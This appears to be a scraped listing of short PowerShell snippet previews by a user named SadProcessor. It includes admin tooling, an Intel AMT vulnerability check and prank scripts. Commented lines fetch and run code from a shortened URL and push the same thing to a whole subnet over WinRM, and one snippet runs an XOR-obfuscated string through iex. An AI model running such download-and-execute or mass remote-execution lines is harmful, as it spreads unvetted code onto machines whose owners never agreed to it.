SadProcessor

function Invoke-AsTrustedInstallerJob{
    [Alias('TIJob')]
    Param(
        [Parameter()][Scriptblock]$Scriptblock,
        [Parameter()][String]$UserID=$("$Env:ComputerName\$Env:UserName"),
        [Parameter()][String]$TaskName='TIJob'
        )
    # IsAdmin??
    $IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
    if(-Not$IsAdmin){Write-Warning "Must be admin";Return}

SadProcessor

 <#
.Synopsis
   Check For Intel Stuff (via WMI)
.DESCRIPTION
   Check if vulnerable to Intel Active Management Technology, 
   Intel Small Business Technology, and Intel Standard Manageability 
   Escalation of Privilege. [INTEL-SA-00075 - May 1st 2017]
   Uses WMI. Can be run against multiple computers.
   Returns a risk indication, check links in notes for more info and remediation options
.EXAMPLE

SadProcessor

#########################################################################
# $$\       $DEAD$\   $MOUSE\    $$\     EDITION\  $$\   V2\   $$\      #
# $$ |     $$ ___$$\ $$ ___$$\   $$ |    $$  __$$\ $$ |  $$ |  $$ |     #
# $$ |     \_/   $$ |\_/   $$ |$$$$$$\   $$ |  $$ |$$ |  $$ |$$$$$$\    #
# $$ |       $$$$$ /   $$$$$ / \_$$  _|  $$$$$$$  |$$$$$$$$ |\_$$  _|   #
# $$ |       \___$$\   \___$$\   $$ |    $$  __$$< \_____$$ |  $$ |     #
# $$ |     $$\   $$ |$$\   $$ |  $$ |$$\ $$ |  $$ |      $$ |  $$ |$$\  #
# $L33tR4t\\$Kali$  |\$Linux  |  \$$$$  |$$ |  $$ |      $$ |  \$ISO  | #
# \________|\______/  \______/    \____/ \__|  \__|      \__|   \____/  #
#########################################################################

SadProcessor

 ## Inline B64CMD Converter (Add to PoSh Profile)
##  via System.String Type Custom ScriptProperty Member

# Base64 Encode/Decode
Update-TypeData -TypeName System.String -MemberName "ToB64" -MemberType scriptproperty -Value {[System.Convert]::ToBase64String([System.Text.Encoding]::UNICODE.GetBytes($this))}
Update-TypeData -TypeName System.String -MemberName "FromB64" -MemberType scriptproperty -Value {[System.Text.Encoding]::UNICODE.GetString([System.Convert]::FromBase64String($this))}

# Add iex
Update-TypeData -TypeName System.String -MemberName "AddIEX" -MemberType scriptproperty -Value {"iex (`"$this`")"}

SadProcessor

 <#
.Synopsis
    ____ _    _    ___ _   _    _       
    | __(_)__| |_ / __| |_(_)__| |__ ___
    | _|| (_-< ' \\__ \  _| / _| / /(_-<
    |_| |_/__/_||_|___/\__|_\__|_\_\/__/.v1

   "Life is like a box of FishSticks, you never know what you're gonna get..." 
    
    Benjamin Buford "Bubba" Blue - 1965. 

SadProcessor

Add-Type -Ass System.Speech;$S=New-Object System.Speech.Synthesis.SpeechSynthesizer;$S.volume=100;$L="We are no strangers to love... You know the rules and so do I. A full commitment is what I am thinking of. You wouldn't get this from any other computer... I just want to tell you how I am feeling... I have got to make you understand: Never gonna give you up, never gonna let you down; Never gonna run around and desert you. Never gonna make you cry, never gonna say goodbye. Never gonna tell a lie and ... hur-urt you.";$S.Speak($L)  

### Send a bit of love to yourself
# iex(iwr http://bit.ly/2gXq9fu).content

### Send Loads of Love to your SubNet over WinRM
# 1..254|%{icm 10.0.1.$_{iex(iwr http://bit.ly/2gXq9fu).content}-ea si}

SadProcessor

iex $(([Convert]::FromBase64String("FHJ+YHoTZ1ZARxNgUl5DX1YJEwRWBAFQAFBWHgsFAlEeBwAACh4LBAcDHgNSUAIHCwdQAgALBRQ=") | % { [char] ($_ -bxor 0x33) })-join'')

SadProcessor

 

<#
.Synopsis
   View  ->  Acsrf  
.DESCRIPTION
   PoSh WebApp ZapBot...
   See OWASP ZAP documentation for more info.

.EXAMPLE

SadProcessor

<#
.Synopsis
   Quick Wiki Search
.DESCRIPTION
   Get Wikipedia Search. Summary in Console or Full pages Online.
.EXAMPLE
   QWiki
.EXAMPLE
   Qwiki -Search PowerShell
.EXAMPLE

SadProcessor

Function Get-Stamp{$Props = @{'Box'=$env:COMPUTERNAME;'MAC'= (Get-NetAdapter -Physical)[0].macaddress;'Stamp'=(Get-Date).DateTime};$Obj = New-Object PSCustomObject -Prop $Props | select MAC,Stamp,Box;Return $Obj};Get-Stamp